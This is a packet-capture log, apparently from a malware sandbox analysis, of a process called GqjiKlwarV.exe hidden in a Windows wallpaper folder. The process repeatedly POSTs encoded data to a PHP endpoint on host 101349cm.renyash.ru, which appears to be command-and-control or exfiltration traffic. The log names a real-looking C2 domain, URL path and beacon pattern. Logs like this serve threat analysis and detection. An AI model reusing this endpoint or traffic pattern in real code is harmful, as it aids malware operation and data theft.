Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:25.579160929 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:25.936714888 CET	1056	OUT	Data Raw: 51 52 54 55 5f 5e 52 59 59 5b 5a 5a 52 53 5b 5d 55 5c 5a 5a 57 59 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTU_^RYY[ZZRS[]U\ZZWY[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',+^39"?_?^ +>5P0)%2 6"6&/+Z+-?^,:9]//_
Jan 1, 2025 15:18:26.377482891 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50036	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:26.443550110 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:26.795989990 CET	1328	OUT	Data Raw: 54 5c 54 57 5f 56 52 5d 59 5b 5a 5a 52 5d 5b 5c 55 58 5a 57 57 5c 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TW_VR]Y[ZZR][\UXZWW\[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';/3:?!^)+ ?=5'5P1(52)'/Z??]89]//_ <
Jan 1, 2025 15:18:27.061230898 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:27.299408913 CET	962	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oWtu8uV48GdLMxpr2P8r3Mg728rGed%2BvGun5UabdMSUqN2r33FN26lug8uMtfcI5KD%2BcKdflW%2FGFwJeLU8RaiDigF6Eq98DMD36dbsBuhDk%2FlTs3bbq%2FD2N%2BIYFnzlO5esGE233D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3237ebe5d41c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=59478&min_rtt=57390&rtt_var=25697&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=19704&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 1c 36 04 35 1f 24 06 3c 5a 2c 3c 3e 02 2b 28 0e 5b 3e 2c 2d 19 26 2b 21 08 28 32 21 53 22 5f 28 08 3c 05 3d 1c 26 5a 21 57 32 02 2e 5a 0d 1c 3a 04 22 00 05 10 32 54 32 0a 24 28 22 04 22 2e 22 10 36 2b 3b 5a 25 3d 0c 5b 24 2a 3e 08 39 00 3b 5a 38 03 3a 44 3b 33 2e 5a 27 3f 23 50 0f 1f 23 56 25 10 32 04 27 21 3f 03 23 33 2f 0d 22 14 25 1c 20 03 2c 51 25 29 2a 5e 30 16 0c 57 26 3f 3f 53 21 00 26 54 27 21 24 09 33 22 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.65$<Z,<>+([>,-&+!(2!S"_(<=&Z!W2.Z:"2T2$(""."6+;Z%=[$>9;Z8:D;3.Z'?#P#V%2'!?#3/"% ,Q%)^0W&??S!&T'!$3"/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50040	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:26.561703920 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:26.920922995 CET	1056	OUT	Data Raw: 54 56 54 56 5a 5d 52 5c 59 5b 5a 5a 52 5f 5b 5a 55 5c 5a 5d 57 5c 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TVTVZ]R\Y[ZZR_[ZU\Z]W\[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';Y<39\"!)('[<-!T'9:&">]1?3<#-*9]//_ 4
Jan 1, 2025 15:18:27.188090086 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:27.470778942 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCNhuTYcIUJ6IMq91jWKGV3JGFkdyM%2FgRH%2FVEl5Xv3bCGVKGtcy%2B71XKxegyQC%2BV%2BsHKOWJYIftt0Jlg75XmJI7Sh8VZQj3yncrOD%2B2hHbplVKteCGe0faXyv9bI8QN4xlJZxNsm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3237fa8ca72b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11413&min_rtt=7600&rtt_var=10477&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=38309&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50046	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:27.593300104 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:27.952193022 CET	1056	OUT	Data Raw: 51 55 54 5e 5f 56 57 5f 59 5b 5a 5a 52 5f 5b 51 55 58 5a 5a 57 51 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUT^_VW_Y[ZZR_[QUXZZWQ[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;< $7"#_)(X+>=T':!P&/V"1]%?_<-+,*9]//_ 4
Jan 1, 2025 15:18:28.213078976 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:28.530395985 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AAFgz0IRCEyIr4m2d4dRnpKff4dhqgI1ze6djeqHhIwE31URvy9SiLdBf1raN9XxXt2zaXMZIGzD9LxN6N1YjtHn4GrRtz1pf%2Ba7slYJ5Y1CA2QFqHJRCB8hbJjoa5QmfyvJMaMk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32385f9cd41ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=42455&min_rtt=40738&rtt_var=18711&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=26800&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50053	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:28.659495115 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:29.014677048 CET	1056	OUT	Data Raw: 51 50 51 57 5a 5a 57 5f 59 5b 5a 5a 52 5f 5b 5f 55 5d 5a 59 57 58 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQWZZW_Y[ZZR_[_U]ZYWX[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,':$]"!^(]+"31&##!=%/?X(/:9]//_ 4
Jan 1, 2025 15:18:29.186285973 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:29.357104063 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGNFSifOPi2RKj1g8RnF0oz%2BmXguU3DY6UXtnTqUUEgLvZ0j34miRj2DMcyyWToRP2E6MoRzULXt8VEe0wQcJCZ5GrZKnllcivsLSYicJ%2B1fIZ3PY4uZTCWm80VE7kLkBhMV2grt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3238c1cbf426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28251&min_rtt=26421&rtt_var=13568&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=35556&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	50059	104.21.38.84	80

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:29.484329939 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:29.842768908 CET	1056	OUT	Data Raw: 51 52 54 54 5f 59 52 59 59 5b 5a 5a 52 53 5b 5a 55 58 5a 5f 57 5a 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTT_YRYY[ZZRS[ZUXZ_WZ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,/'0 "\<+>5'V2851?#+.#,9]//_
Jan 1, 2025 15:18:29.962630987 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:30.118711948 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mbDCeD3ZyoiFpkABs8a7x4sVjMRgbc5plqSWRb7YZzlVXUnOTkv%2FnxaDJWNjrSAAs5vOQ3WU48JeSFgqeOtkSUwOqCOXXwfRTod1qa0eMnEhghWa4ORqHvV9J3mlzhwMLG7jlrvv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32390e8cdc33d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4760&min_rtt=1983&rtt_var=6297&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=60333&cwnd=137&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50065	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:30.255471945 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:30.608725071 CET	1056	OUT	Data Raw: 54 57 54 54 5f 59 52 5c 59 5b 5a 5a 52 5a 5b 5a 55 55 5a 59 57 5a 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TWTT_YR\Y[ZZRZ[ZUUZYWZ[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,<?0<X51 (3?>*3:!S&,+U!>',;>. /9]//_
Jan 1, 2025 15:18:30.785753012 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:30.971407890 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2B1Rjw7oIRXJMTz0ZDJRyA%2F03PNhzfyBKVPohMXX%2B5d1kZgeXfiXh2kQZpWd%2FuQ3jWYc%2FoEQeYMfFxDjozkqZEEbgzmxCoLOYL3zF9kIsGK03o0FtbinGj3F%2F4kUYnrkUaWUw8X1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3239629be4331-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4410&min_rtt=2602&rtt_var=4592&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=85535&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50071	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:31.094522953 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:31.452363968 CET	1056	OUT	Data Raw: 51 50 51 50 5a 5c 52 5b 59 5b 5a 5a 52 5d 5b 5c 55 55 5a 5a 57 5b 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQPZ\R[Y[ZZR][\UUZZW[[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D,/,3(!+_)8Z<>6'*>%,W!1.X%/#<_/9]//_ <
Jan 1, 2025 15:18:31.541299105 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:31.793610096 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jehUpfxmN62wdSnGhXe%2B5syOqYJU8sVfSlCHy8YFBcrKEUqU6dIBzGrrFW%2FS8aTYTsLnzku5LBEe80d2nqQMdOp0E6yYPoDuSqaZ%2BOFwviGjjiiWvQYdSqhwIj3wYDQtyPMl%2BxjO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3239ad95a8c17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2552&min_rtt=2258&rtt_var=1436&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=316359&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50077	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:31.923258066 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:32.280258894 CET	1056	OUT	Data Raw: 54 55 54 53 5f 5d 52 59 59 5b 5a 5a 52 5d 5b 59 55 55 5a 5a 57 59 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUTS_]RYY[ZZR][YUUZZWY[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/<3[393#2$(+3(&09&&7P62>Y%0(89]//_ <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50079	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:32.317544937 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:32.671029091 CET	1328	OUT	Data Raw: 54 52 54 5e 5f 56 57 59 59 5b 5a 5a 52 52 5b 50 55 5a 5a 5b 57 5c 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRT^_VWYY[ZZRR[PUZZ[W\[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8?3'52(?7[<X$:1,4!2.Z%;+>/*9]//_
Jan 1, 2025 15:18:32.762892008 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:32.947067976 CET	952	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xFPBzNzGtW9m6Ira6sXxvJr4RxuSTYHfxF5AHgT0YzURtEOb3L46lCnPsS5OBzyjKFJdBa3isVLCiRleqCU0P9GoozCTkga8RbJhFRdFinTWTnAwzDiidJKLi0sllUO4rsrz9h%2F%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323a279307ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8505&min_rtt=1906&rtt_var=13914&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=26688&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0a 35 3a 3e 04 33 3c 24 13 3b 2c 3e 05 2b 06 24 5c 2a 3f 3d 5d 26 16 3a 50 2a 1c 29 1b 36 39 2c 43 28 02 25 50 31 02 04 0e 25 38 2e 5a 0d 1c 39 5a 23 3e 2c 0b 26 31 21 57 30 38 25 17 20 03 0c 5a 22 05 27 13 25 04 35 02 24 29 3a 0c 2c 3e 27 5e 3b 2d 39 19 2d 20 25 01 25 2f 23 50 0f 1f 23 56 25 2e 00 03 24 1f 28 58 22 20 20 53 21 14 0f 57 37 04 0e 52 24 5c 3d 01 26 38 3e 54 27 2c 0d 53 21 2e 29 0a 33 21 3b 1a 33 22 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-5:>3<$;,>+$\?=]&:P)69,C(%P1%8.Z9Z#>,&1!W08% Z"'%5$):,>'^;-9- %%/#P#V%.$(X" S!W7R$\=&8>T',S!.)3!;3"/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50080	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:32.437565088 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:32.797348976 CET	1048	OUT	Data Raw: 54 5c 51 53 5f 5c 57 5d 59 5b 5a 5a 52 5b 5b 5f 55 54 5a 5e 57 50 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\QS_\W]Y[ZZR[[_UTZ^WP[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8<7Z'?");??>-V%9:$/##!['<<+. 8*9]//_ <
Jan 1, 2025 15:18:32.880930901 CET	25	IN	HTTP/1.1 100 Continue
